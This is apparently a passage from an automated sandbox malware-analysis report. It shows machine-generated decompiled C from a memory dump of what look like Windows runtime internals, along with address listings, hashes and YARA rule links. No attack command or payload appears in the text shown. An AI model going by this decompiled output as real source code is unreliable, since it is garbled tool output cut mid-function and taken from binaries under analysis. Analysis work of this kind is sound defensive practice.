																											__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																											if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																												_v100 = _t359;
																												_t360 = _v108;
																												_t372 = L03C58F44(_v108, _t312);
																												__eflags = _t372;
																												if(_t372 == 0) {
																													goto L143;
																												} else {
																													_t290 = _v52;
																													_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E03C83C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																													_t307 = _v72;
																													_t344 = _v76;
																													_t218 = _v40;
																													goto L91;
																												}
																											} else {
																												_t290 = _v52;
																												_t307 = _v72;
																												_t344 = _v76;
																												_t369 = _v80;
																												L91:
																												_t358 = _a4;
																												__eflags = _t358;
																												if(_t358 == 0) {
																													L95:
																													_t308 = _a8;
																													__eflags = _t308;
																													if(_t308 != 0) {
																														 *_t308 =  *((intOrPtr*)(_v40 + 4));
																													}
																													_v8 = 0xfffffffe;
																													_t211 = _v84;
																												} else {
																													_t370 =  *_t218 - _t369 + _t290;
																													 *_t358 = _t370;
																													__eflags = _t370 - _t344;
																													if(_t370 <= _t344) {
																														L149:
																														 *_t358 = 0;
																														goto L150;
																													} else {
																														__eflags = _t307;
																														if(_t307 == 0) {
																															goto L95;
																														} else {
																															__eflags = _t370 - _t344 + _t307;
																															if(_t370 >= _t344 + _t307) {
																																goto L149;
																															} else {
																																goto L95;
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L97;
																							}
																						}
																						goto L143;
																					}
																				}
																			}
																		} else {
																			__eflags = _v40 - _t307 + _t344;
																			if(_v40 >= _t307 + _t344) {
																				goto L150;
																			} else {
																				goto L75;
																			}
																		}
																	}
																}
															}
															L97:
															 *[fs:0x0] = _v20;
															return _t211;
														}
													}
												}
											}
										} else {
											goto L46;
										}
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x03c5d5f2
0x03c5d5f5
0x03c5d5f5
0x03c5d5fd
0x03c5d600
0x03c5d60a
0x03c5d60d
0x03c5d617
0x03c5d61d
0x03c5d627
0x03c5d62e
0x03c5d911
0x03c5d913
0x00000000
0x03c5d919
0x03c5d919
0x03c5d919
0x03c5d634
0x03c5d634
0x03c5d634
0x03c5d634
0x03c5d640
0x03c5d8bf
0x00000000
0x03c5d646
0x03c5d646
0x03c5d64d
0x03c5d652
0x03cab2fc
0x03cab2fc
0x03cab302
0x03cab33b
0x03cab341
0x00000000
0x03cab304
0x03cab304
0x03cab319
0x03cab31e
0x03cab324
0x03cab326
0x03cab332
0x03cab347
0x03cab34c
0x03cab351
0x03cab35a
0x00000000
0x03cab328
0x03cab328
0x00000000
0x03cab328
0x03cab326
0x03c5d658
0x03c5d658
0x03c5d65b
0x03c5d665
0x00000000
0x03c5d66b
0x03c5d66b
0x03c5d66b
0x03c5d66b
0x03c5d66d
0x03c5d672
0x03c5d67a
0x00000000
0x00000000
0x03c5d680
0x03c5d686
0x03c5d8ce
0x03c5d8d4
0x03c5d8da
0x03c5d8dd
0x03c5d8dd
0x03c5d8e0
0x03c5d68c
0x03c5d691
0x03c5d69d
0x03c5d6a2
0x03c5d6a7
0x03c5d6b0
0x03c5d6b0
0x03c5d6b5
0x03c5d6e0
0x03c5d6b7
0x03c5d6b7
0x03c5d6b9
0x03c5d6b9
0x03c5d6bb
0x03c5d6bd
0x03c5d6ce
0x03c5d6d0
0x03c5d6d2
0x03cab363
0x03cab365
0x00000000
0x03cab36b
0x00000000
0x03cab36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x03c5d6bf
0x03c5d6bf
0x03c5d6e5
0x03c5d6e7
0x03c5d6e9
0x03c5d6e9
0x03c5d6ec
0x03c5d6ec
0x03c5d6ef
0x03c5d6f5
0x03c5d6f9
0x03c5d6fb
0x03c5d6fd
0x03c5d701
0x03c5d703
0x03c5d70a
0x03c5d70a
0x03c5d70a
0x03c5d701
0x03c5d70d
0x03c5d710
0x03c5d710
0x03c5d6c1
0x03c5d6c1
0x03c5d6c1
0x03c5d6c6
0x03cab36d
0x03cab36f
0x00000000
0x03cab375
0x03cab375
0x03cab375
0x00000000
0x03cab375
0x00000000
0x03c5d6cc
0x03c5d6d8
0x03c5d6d8
0x03c5d6d8
0x00000000
0x03c5d6c6
0x03c5d6bf
0x00000000
0x03c5d6da
0x03c5d6da
0x03c5d716
0x03c5d71b
0x03c5d720
0x03c5d726
0x03c5d726
0x03c5d72d
0x00000000
0x03c5d733
0x03c5d739
0x03c5d742
0x03c5d750
0x03c5d758
0x03c5d764
0x03c5d776
0x03c5d77a
0x03c5d783
0x03c5d928
0x03c5d92c
0x03c5d93d
0x03c5d944
0x03c5d94f
0x03c5d954
0x03c5d956
0x03c5d95f
0x03c5d961
0x03c5d973
0x03c5d973
0x03c5d956
0x03c5d944
0x03c5d92c
0x03c5d78b
0x03cab394
0x03c5d791
0x03c5d798
0x03cab3a3
0x03cab3bb
0x03cab3bb
0x03c5d7a5
0x03c5d866
0x03c5d870
0x03c5d884
0x03c5d892
0x03c5d898
0x03c5d89e
0x03c5d8a0
0x03c5d8a6
0x03c5d8ac
0x03c5d8ae
0x03c5d8b4
0x03c5d8b4
0x03c5d8ae
0x03c5d7a5
0x03c5d78b
0x03c5d7b1
0x03cab3c5
0x03cab3c5
0x03c5d7c3
0x03c5d7ca
0x03c5d7e5
0x03c5d7eb
0x03c5d8eb
0x03c5d8ed
0x00000000
0x03c5d8f3
0x03c5d8f3
0x03c5d8f3
0x00000000
0x03c5d8ed
0x03c5d7cc
0x03c5d7cc
0x03c5d7d2
0x00000000
0x03c5d7d4
0x03c5d7d4
0x03c5d7d7
0x03c5d7df
0x03cab3d4
0x03cab3d9
0x03cab3dc
0x03cab3dc
0x03cab3df
0x03cab3e2
0x03cab468
0x03cab46d
0x03cab46f
0x03cab46f
0x03cab475
0x03c5d8f8
0x03c5d8f9
0x03c5d8fd
0x03cab3e8
0x03cab3e8
0x03cab3eb
0x03cab3ed
0x00000000
0x03cab3ef
0x03cab3ef
0x03cab3f1
0x03cab3f4
0x03cab3fe
0x03cab404
0x03cab409
0x03cab40e
0x03cab410
0x03cab410
0x03cab414
0x03cab414
0x03cab41b
0x03cab420
0x03cab423
0x03cab425
0x03cab427
0x03cab42a
0x03cab42d
0x03cab42d
0x03cab42a
0x03cab432
0x03cab436
0x03cab438
0x03cab43b
0x03cab43b
0x03cab449
0x03cab44e
0x03cab454
0x03cab458
0x03cab458
0x03cab45d
0x00000000
0x03cab45d
0x03cab3ed
0x00000000
0x00000000
0x00000000
0x03c5d7df
0x03c5d7d2
0x03c5d7ca
0x03cab37c
0x03cab37e
0x03cab385
0x03cab38a
0x00000000
0x03cab38a
0x03c5d742
0x03c5d7f1
0x03c5d7f8
0x03cab49b
0x03cab49b
0x03c5d800
0x03c5d837
0x03c5d843
0x03c5d845
0x03c5d847
0x03c5d84a
0x03c5d84b
0x03c5d84e
0x03c5d857
0x03c5d802
0x03c5d802
0x03c5d80d
0x00000000
0x03c5d818
0x03c5d818
0x03c5d824
0x03c5d831
0x03cab4a5
0x03cab4ab
0x03cab4b3
0x03cab4b8
0x03cab4bb
0x00000000
0x03cab4c1
0x03cab4c1
0x03cab4c8
0x00000000
0x03cab4ce
0x03cab4d4
0x03cab4e1
0x03cab4e3
0x03cab4e5
0x00000000
0x03cab4eb
0x03cab4f0
0x03cab4f2
0x03c5dac9
0x03c5dacc
0x03c5dacf
0x03c5dad1
0x03c5dd78
0x03c5dd78
0x03c5dcf2
0x00000000
0x03c5dad7
0x03c5dad9
0x03c5dadb
0x00000000
0x00000000
0x03c5dae1
0x03c5dae1
0x03c5dae4
0x03c5dae6
0x03cab4f9
0x03cab4f9
0x03cab500
0x03c5daec
0x03c5daec
0x03c5daf5
0x03c5daf8
0x03c5dafb
0x03c5db03
0x03c5db11
0x03c5db16
0x03c5db19
0x03c5db1b
0x03cab52c
0x03cab531
0x03cab534
0x03c5db21
0x03c5db21
0x03c5db24
0x03c5dcd9
0x03c5dce2
0x03c5dce5
0x03c5dd6a
0x03c5dd6d
0x00000000
0x03c5dd73
0x03cab51a
0x03cab51c
0x03cab51f
0x03cab524
0x00000000
0x03cab524
0x03c5dce7
0x03c5dce7
0x03c5dce7
0x00000000
0x03c5dce7
0x00000000
0x03c5db2a
0x03c5db2c
0x03c5db31
0x03c5db33
0x03c5db36
0x03c5db39
0x03c5db3b
0x03c5db66
0x03c5db66
0x03c5db3d
0x03c5db3d
0x03c5db3e
0x03c5db46
0x03c5db47
0x03c5db49
0x03c5db4c
0x03c5db53
0x03c5db55
0x03c5db58
0x03c5db5a
0x03cab50a
0x03cab50f
0x03cab512
0x03c5db60
0x03c5db60
0x03c5db63
0x03c5db63
0x00000000
0x03c5db63
0x03c5db5a
0x03c5db3b
0x03c5db24
0x03c5db69
0x03c5db69
0x03c5db6c
0x03c5db6f
0x03c5db74
0x03cab557
0x03cab557
0x03cab55e
0x03c5db7a
0x03c5db7c
0x03c5db7f
0x03c5db82
0x03c5db85
0x00000000
0x03c5db8b
0x03c5db8b
0x03c5db8d
0x03c5db9b
0x03c5db9b
0x03c5db9d
0x03c5dba0
0x03c5dba2
0x03c5dba4
0x03c5dba7
0x03c5dba9
0x03c5dbae
0x03c5dbae
0x03c5dbb1
0x03c5dbb4
0x03c5dbb4
0x03c5dbb7
0x03c5dbba
0x03c5dcd2
0x03c5dcd4
0x00000000
0x03c5dbc0
0x03c5dbc0
0x03c5dbd2
0x03c5dbd7
0x03c5dbda
0x03c5dbdd
0x03c5dbdf
0x00000000
0x03c5dbe5
0x03c5dbe5
0x03c5dbee
0x03c5dbf1
0x03cab541
0x03cab544
0x00000000
0x03cab546
0x03cab546
0x00000000
0x03cab546
0x03c5dbf7
0x03c5dbf7
0x03c5dbfd
0x03c5dbfd
0x03c5dbff
0x03c5dc0b
0x03c5dc15
0x03c5dc1b
0x03c5dc1d
0x03c5dc21
0x03c5dc21
0x03c5dc23
0x03c5dc23
0x03c5dc26
0x03c5dc29
0x03c5dc2b
0x00000000
0x00000000
0x03c5dc31
0x03c5dc34
0x03c5dc36
0x03c5dcbf
0x03c5dcbf
0x03c5dcc2
0x00000000
0x03c5dc3c
0x03c5dc41
0x03c5dc43
0x00000000
0x03c5dc45
0x03c5dc45
0x03c5dc47
0x00000000
0x03c5dc4d
0x03c5dc4d
0x03c5dc50
0x03c5dc52
0x03c5dc55
0x03c5dcfa
0x03c5dcfe
0x03c5dd08
0x03c5dd0a
0x03c5dd0c
0x00000000
0x03c5dd12
0x03c5dd15
0x03c5dd2d
0x03c5dd2f
0x03c5dd32
0x03c5dd35
0x00000000
0x03c5dd35
0x03c5dc5b
0x03c5dc5b
0x03c5dc5e
0x03c5dc61
0x03c5dc64
0x03c5dc67
0x03c5dc67
0x03c5dc6a
0x03c5dc6c
0x03c5dc8e
0x03c5dc8e
0x03c5dc91
0x03c5dc93
0x03c5dcce
0x03c5dcce
0x03c5dc95
0x03c5dc9c
0x03c5dc6e
0x03c5dc72
0x03c5dc75
0x03c5dc77
0x03c5dc79
0x03cab551
0x03cab551
0x00000000
0x03c5dc7f
0x03c5dc7f
0x03c5dc81
0x00000000
0x03c5dc83
0x03c5dc86
0x03c5dc88
0x00000000
0x00000000
0x00000000
0x00000000
0x03c5dc88
0x03c5dc81
0x03c5dc79
0x03c5dc6c
0x03c5dc55
0x03c5dc47
0x03c5dc43
0x00000000
0x03c5dc36
0x03c5dc23
0x00000000
0x03c5dbff
0x03c5dbf1
0x03c5dbdf
0x03c5db8f
0x03c5db92
0x03c5db95
0x00000000
0x00000000
0x00000000
0x00000000
0x03c5db95
0x03c5db8d
0x03c5db85
0x03c5db74
0x03c5dc9f
0x03c5dca2
0x03c5dcb0
0x03c5dcb0
0x03c5dad1
0x03cab4e5
0x03cab4c8
0x00000000
0x00000000
0x00000000
0x03c5d831
0x03c5d80d
0x00000000
0x03c5d800
0x03cab47f
0x03cab485
0x00000000
0x03cab485
0x03c5d665
0x03c5d652
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93cc1ec308d44a9e667fcbae23f4a34edd913a38e62da9c94952281626215b00
Instruction ID: cba8e6770253cd2a54b51d544b54d053ca4e832aab6358fa015dbe3896297405
Opcode Fuzzy Hash: 93cc1ec308d44a9e667fcbae23f4a34edd913a38e62da9c94952281626215b00
Instruction Fuzzy Hash: 30E1C235A0175ACFDB24DF29C848BA9B7B5BF45308F090199EC0ADB290DB70AEC5CB55

Uniqueness

Uniqueness Score: -1.00%

Function 03C5849B, Relevance: .3, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E03C5849B(signed int __ebx, intOrPtr __ecx, signed int __edi, signed int __esi, void* __eflags) {
				void* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t145;
				intOrPtr _t146;
				signed int _t149;
				signed int _t150;
				signed int _t161;
				signed int _t163;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t194;
				signed int _t200;
				void* _t201;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t215;
				signed int _t218;
				void* _t221;
				signed int _t224;
				signed int _t226;
				intOrPtr _t228;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				void* _t237;
				void* _t238;

				_t236 = __esi;
				_t235 = __edi;
				_t193 = __ebx;
				_push(0x70);
				_push(0x3d1f9c0);
				E03C9D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t237 - 0x5c)) = __ecx;
				if( *0x3d37b04 == 0) {
					L4:
					goto L5;
				} else {
					_t136 = E03C5CEE4( *((intOrPtr*)(__ecx + 0x18)), 1, 9, _t237 - 0x58, _t237 - 0x54);
					_t236 = 0;
					if(_t136 < 0) {
						 *((intOrPtr*)(_t237 - 0x54)) = 0;
					}
					if( *((intOrPtr*)(_t237 - 0x54)) != 0) {
						_t193 =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x48) =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x68) = _t236;
						 *(_t237 - 0x6c) = _t236;
						_t235 = _t236;
						 *(_t237 - 0x60) = _t236;
						E03C62280( *[fs:0x30], 0x3d38550);
						_t139 =  *0x3d37b04; // 0x1
						__eflags = _t139 - 1;
						if(__eflags != 0) {
							_t200 = 0xc;
							_t201 = _t237 - 0x40;
							_t141 = E03C7F3D5(_t201, _t139 * _t200, _t139 * _t200 >> 0x20);
							 *(_t237 - 0x44) = _t141;
							__eflags = _t141;
							if(_t141 < 0) {
								L50:
								E03C5FFB0(_t193, _t235, 0x3d38550);
								L5:
								return E03C9D130(_t193, _t235, _t236);
							}
							_push(_t201);
							_t221 = 0x10;
							_t202 =  *(_t237 - 0x40);
							_t145 = E03C41C45( *(_t237 - 0x40), _t221);
							 *(_t237 - 0x44) = _t145;
							__eflags = _t145;
							if(_t145 < 0) {
								goto L50;
							}
							_t146 =  *0x3d37b9c; // 0x0
							_t235 = L03C64620(_t202, _t193, _t146 + 0xc0000,  *(_t237 - 0x40));
							 *(_t237 - 0x60) = _t235;
							__eflags = _t235;
							if(_t235 == 0) {
								_t149 = 0xc0000017;
								 *(_t237 - 0x44) = 0xc0000017;
							} else {
								_t149 =  *(_t237 - 0x44);
							}
							__eflags = _t149;
							if(__eflags >= 0) {
								L8:
								 *(_t237 - 0x64) = _t235;
								_t150 =  *0x3d37b10; // 0x9
								 *(_t237 - 0x4c) = _t150;
								_push(_t237 - 0x74);
								_push(_t237 - 0x39);
								_push(_t237 - 0x58);
								_t193 = E03C7A61C(_t193,  *((intOrPtr*)(_t237 - 0x54)),  *((intOrPtr*)(_t237 - 0x5c)), _t235, _t236, __eflags);
								 *(_t237 - 0x44) = _t193;
								__eflags = _t193;
								if(_t193 < 0) {
									L30:
									E03C5FFB0(_t193, _t235, 0x3d38550);
									__eflags = _t235 - _t237 - 0x38;
									if(_t235 != _t237 - 0x38) {
										_t235 =  *(_t237 - 0x48);
										L03C677F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x48));
									} else {
										_t235 =  *(_t237 - 0x48);
									}
									__eflags =  *(_t237 - 0x6c);
									if( *(_t237 - 0x6c) != 0) {
										L03C677F0(_t235, _t236,  *(_t237 - 0x6c));
									}
									__eflags = _t193;
									if(_t193 >= 0) {
										goto L4;
									} else {
										goto L5;
									}
								}
								_t204 =  *0x3d37b04; // 0x1
								 *(_t235 + 8) = _t204;
								__eflags =  *((char*)(_t237 - 0x39));
								if( *((char*)(_t237 - 0x39)) != 0) {
									 *(_t235 + 4) = 1;
									 *(_t235 + 0xc) =  *(_t237 - 0x4c);
									_t161 =  *0x3d37b10; // 0x9
									 *(_t237 - 0x4c) = _t161;
								} else {
									 *(_t235 + 4) = _t236;
									 *(_t235 + 0xc) =  *(_t237 - 0x58);
								}
								 *((intOrPtr*)(_t237 - 0x54)) = E03C837C5( *((intOrPtr*)(_t237 - 0x74)), _t237 - 0x70);
								_t224 = _t236;
								 *(_t237 - 0x40) = _t236;
								 *(_t237 - 0x50) = _t236;
								while(1) {
									_t163 =  *(_t235 + 8);
									__eflags = _t224 - _t163;
									if(_t224 >= _t163) {
										break;
									}
									_t228 =  *0x3d37b9c; // 0x0
									_t214 = L03C64620( *((intOrPtr*)(_t237 - 0x54)) + 1,  *(_t237 - 0x48), _t228 + 0xc0000,  *(_t237 - 0x70) +  *((intOrPtr*)(_t237 - 0x54)) + 1);
									 *(_t237 - 0x78) = _t214;
									__eflags = _t214;
									if(_t214 == 0) {
										L52:
										_t193 = 0xc0000017;
										L19:
										 *(_t237 - 0x44) = _t193;
										L20:
										_t206 =  *(_t237 - 0x40);
										__eflags = _t206;
										if(_t206 == 0) {
											L26:
											__eflags = _t193;
											if(_t193 < 0) {
												E03C837F5( *((intOrPtr*)(_t237 - 0x5c)), _t237 - 0x6c);
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) != 0) {
													 *0x3d37b10 =  *0x3d37b10 - 8;
												}
											} else {
												_t169 =  *(_t237 - 0x68);
												__eflags = _t169;
												if(_t169 != 0) {
													 *0x3d37b04 =  *0x3d37b04 - _t169;
												}
											}
											__eflags = _t193;
											if(_t193 >= 0) {
												 *((short*)( *((intOrPtr*)(_t237 - 0x5c)) + 0x3a)) = 0xffff;
											}
											goto L30;
										}
										_t226 = _t206 * 0xc;
										__eflags = _t226;
										_t194 =  *(_t237 - 0x48);
										do {
											 *(_t237 - 0x40) = _t206 - 1;
											_t226 = _t226 - 0xc;
											 *(_t237 - 0x4c) = _t226;
											__eflags =  *(_t235 + _t226 + 0x10) & 0x00000002;
											if(( *(_t235 + _t226 + 0x10) & 0x00000002) == 0) {
												__eflags =  *(_t235 + _t226 + 0x10) & 0x00000001;
												if(( *(_t235 + _t226 + 0x10) & 0x00000001) == 0) {
													 *(_t237 - 0x68) =  *(_t237 - 0x68) + 1;
													_t210 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
													__eflags =  *((char*)(_t237 - 0x39));
													if( *((char*)(_t237 - 0x39)) == 0) {
														_t171 = _t210;
													} else {
														 *(_t237 - 0x50) =  *(_t210 +  *(_t237 - 0x58) * 4);
														L03C677F0(_t194, _t236, _t210 - 8);
														_t171 =  *(_t237 - 0x50);
													}
													L48:
													L03C677F0(_t194, _t236,  *((intOrPtr*)(_t171 - 4)));
													L46:
													_t206 =  *(_t237 - 0x40);
													_t226 =  *(_t237 - 0x4c);
													goto L24;
												}
												 *0x3d37b08 =  *0x3d37b08 + 1;
												goto L24;
											}
											_t171 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
											__eflags = _t171;
											if(_t171 != 0) {
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) == 0) {
													goto L48;
												}
												E03C857C2(_t171,  *((intOrPtr*)(_t235 + _t226 + 0x18)));
												goto L46;
											}
											L24:
											__eflags = _t206;
										} while (_t206 != 0);
										_t193 =  *(_t237 - 0x44);
										goto L26;
									}
									_t232 =  *(_t237 - 0x70) + 0x00000001 + _t214 &  !( *(_t237 - 0x70));
									 *(_t237 - 0x7c) = _t232;
									 *(_t232 - 4) = _t214;
									 *(_t237 - 4) = _t236;
									E03C8F3E0(_t232,  *((intOrPtr*)( *((intOrPtr*)(_t237 - 0x74)) + 8)),  *((intOrPtr*)(_t237 - 0x54)));
									_t238 = _t238 + 0xc;
									 *(_t237 - 4) = 0xfffffffe;
									_t215 =  *(_t237 - 0x48);
									__eflags = _t193;
									if(_t193 < 0) {
										L03C677F0(_t215, _t236,  *(_t237 - 0x78));
										goto L20;
									}
									__eflags =  *((char*)(_t237 - 0x39));
									if( *((char*)(_t237 - 0x39)) != 0) {
										_t233 = E03C7A44B( *(_t237 - 0x4c));
										 *(_t237 - 0x50) = _t233;
										__eflags = _t233;
										if(_t233 == 0) {
											L03C677F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x78));
											goto L52;
										}
										 *(_t233 +  *(_t237 - 0x58) * 4) =  *(_t237 - 0x7c);
										L17:
										_t234 =  *(_t237 - 0x40);
										_t218 = _t234 * 0xc;
										 *(_t218 +  *(_t237 - 0x64) + 0x14) =  *(_t237 - 0x50);
										 *(_t218 + _t235 + 0x10) = _t236;
										_t224 = _t234 + 1;
										 *(_t237 - 0x40) = _t224;
										 *(_t237 - 0x50) = _t224;
										_t193 =  *(_t237 - 0x44);
										continue;
									}
									 *(_t237 - 0x50) =  *(_t237 - 0x7c);
									goto L17;
								}
								 *_t235 = _t236;
								_t165 = 0x10 + _t163 * 0xc;
								__eflags = _t165;
								_push(_t165);
								_push(_t235);
								_push(0x23);
								_push(0xffffffff);
								_t193 = E03C896C0();
								goto L19;
							} else {
								goto L50;
							}
						}
						_t235 = _t237 - 0x38;
						 *(_t237 - 0x60) = _t235;
						goto L8;
					}
					goto L4;
				}
			}

0x03c5849b
0x03c5849b
0x03c5849b
0x03c5849b
0x03c5849d
0x03c584a2
0x03c584a7
0x03c584b1
0x03c584d8
0x00000000
0x03c584b3
0x03c584c4
0x03c584c9
0x03c584cd
0x03c584cf
0x03c584cf
0x03c584d6
0x03c584e6
0x03c584e9
0x03c584ec
0x03c584ef
0x03c584f2
0x03c584f4
0x03c584fc
0x03c58501
0x03c58506
0x03c58509
0x03c586e0
0x03c586e5
0x03c586e8
0x03c586ed
0x03c586f0
0x03c586f2
0x03ca9afd
0x03ca9b02
0x03c584da
0x03c584df
0x03c584df
0x03c586fa
0x03c586fd
0x03c586fe
0x03c58701
0x03c58706
0x03c58709
0x03c5870b
0x00000000
0x00000000
0x03c58711
0x03c58725
0x03c58727
0x03c5872a
0x03c5872c
0x03ca9af0
0x03ca9af5
0x03c58732
0x03c58732
0x03c58732
0x03c58735
0x03c58737
0x03c58515
0x03c58515
0x03c58518
0x03c5851d
0x03c58523
0x03c58527
0x03c5852b
0x03c58537
0x03c58539
0x03c5853c
0x03c5853e
0x03c5868c
0x03c58691
0x03c58699
0x03c5869b
0x03c58744
0x03c58748
0x03c586a1
0x03c586a1
0x03c586a1
0x03c586a4
0x03c586a8
0x03ca9bdf
0x03ca9bdf
0x03c586ae
0x03c586b0
0x00000000
0x03c586b6
0x00000000
0x03ca9be9
0x03c586b0
0x03c58544
0x03c5854a
0x03c5854d
0x03c58551
0x03c5876e
0x03c58778
0x03c5877b
0x03c58780
0x03c58557
0x03c58557
0x03c5855d
0x03c5855d
0x03c5856b
0x03c5856e
0x03c58570
0x03c58573
0x03c58576
0x03c58576
0x03c58579
0x03c5857b
0x00000000
0x00000000
0x03c58581
0x03c585a0
0x03c585a2
0x03c585a5
0x03c585a7
0x03ca9b1b
0x03ca9b1b
0x03c5862e
0x03c5862e
0x03c58631
0x03c58631
0x03c58634
0x03c58636
0x03c58669
0x03c58669
0x03c5866b
0x03ca9bbf
0x03ca9bc4
0x03ca9bc8
0x03ca9bce
0x03ca9bce
0x03c58671
0x03c58671
0x03c58674
0x03c58676
0x03ca9bae
0x03ca9bae
0x03c58676
0x03c5867c
0x03c5867e
0x03c58688
0x03c58688
0x00000000
0x03c5867e
0x03c58638
0x03c58638
0x03c5863b
0x03c5863e
0x03c5863f
0x03c58642
0x03c58645
0x03c58648
0x03c5864d
0x03ca9b69
0x03ca9b6e
0x03ca9b7b
0x03ca9b81
0x03ca9b85
0x03ca9b89
0x03ca9ba7
0x03ca9b8b
0x03ca9b91
0x03ca9b9a
0x03ca9b9f
0x03ca9b9f
0x03c58788
0x03c5878d
0x03c58763
0x03c58763
0x03c58766
0x00000000
0x03c58766
0x03ca9b70
0x00000000
0x03ca9b70
0x03c58656
0x03c5865a
0x03c5865c
0x03c58752
0x03c58756
0x00000000
0x00000000
0x03c5875e
0x00000000
0x03c5875e
0x03c58662
0x03c58662
0x03c58662
0x03c58666
0x00000000
0x03c58666
0x03c585b7
0x03c585b9
0x03c585bc
0x03c585bf
0x03c585cc
0x03c585d1
0x03c585d4
0x03c585db
0x03c585de
0x03c585e0
0x03ca9b5f
0x00000000
0x03ca9b5f
0x03c585e6
0x03c585ea
0x03c586c3
0x03c586c5
0x03c586c8
0x03c586ca
0x03ca9b16
0x00000000
0x03ca9b16
0x03c586d6
0x03c585f6
0x03c585f6
0x03c585f9
0x03c58602
0x03c58606
0x03c5860a
0x03c5860b
0x03c5860e
0x03c58611
0x00000000
0x03c58611
0x03c585f3
0x00000000
0x03c585f3
0x03c58619
0x03c5861e
0x03c5861e
0x03c58621
0x03c58622
0x03c58623
0x03c58625
0x03c5862c
0x00000000
0x03c5873d
0x00000000
0x03c5873d
0x03c58737
0x03c5850f
0x03c58512
0x00000000
0x03c58512
0x00000000
0x03c584d6

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ae140dae2703b31cea7f76b0d5c7d88ae0a6022c9d346686649c78999530fc2
Instruction ID: e273153dc59eff973bc0815f2cb6ac3df8e1c860a860c4eda553cb4f96323569
Opcode Fuzzy Hash: 8ae140dae2703b31cea7f76b0d5c7d88ae0a6022c9d346686649c78999530fc2
Instruction Fuzzy Hash: 7BB147B4F00709DFDB25DFA9C984AADBBB9BF48304F14412AE805EB245DB70AD85CB54

Uniqueness

Uniqueness Score: -1.00%

Function 03C7513A, Relevance: .3, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E03C7513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				intOrPtr _t165;
				signed int _t172;
				signed char* _t181;
				intOrPtr _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				signed int _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr* _t232;
				signed int _t233;
				signed int _t234;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr _t240;
				void* _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				void* _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t256;

				_t255 = (_t253 & 0xfffffff8) - 0x6c;
				_v8 =  *0x3d3d360 ^ _t255;
				_v32 = _v32 & 0x00000000;
				_t251 = __edx;
				_t237 = __ecx;
				_t212 = 6;
				_t245 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t245, 0, _t212 << 2);
				_t256 = _t255 + 0xc;
				_t246 = _t245 + _t212;
				if(_t207 == 2) {
					_t247 =  *(_t237 + 0x60);
					_t208 =  *(_t237 + 0x64);
					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
					_t159 =  *((intOrPtr*)(_t237 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t247;
					L8:
					_t214 = 0;
					if( *(_t237 + 0x74) > 0) {
						_t82 = _t237 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = _t214 + 1;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t237 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
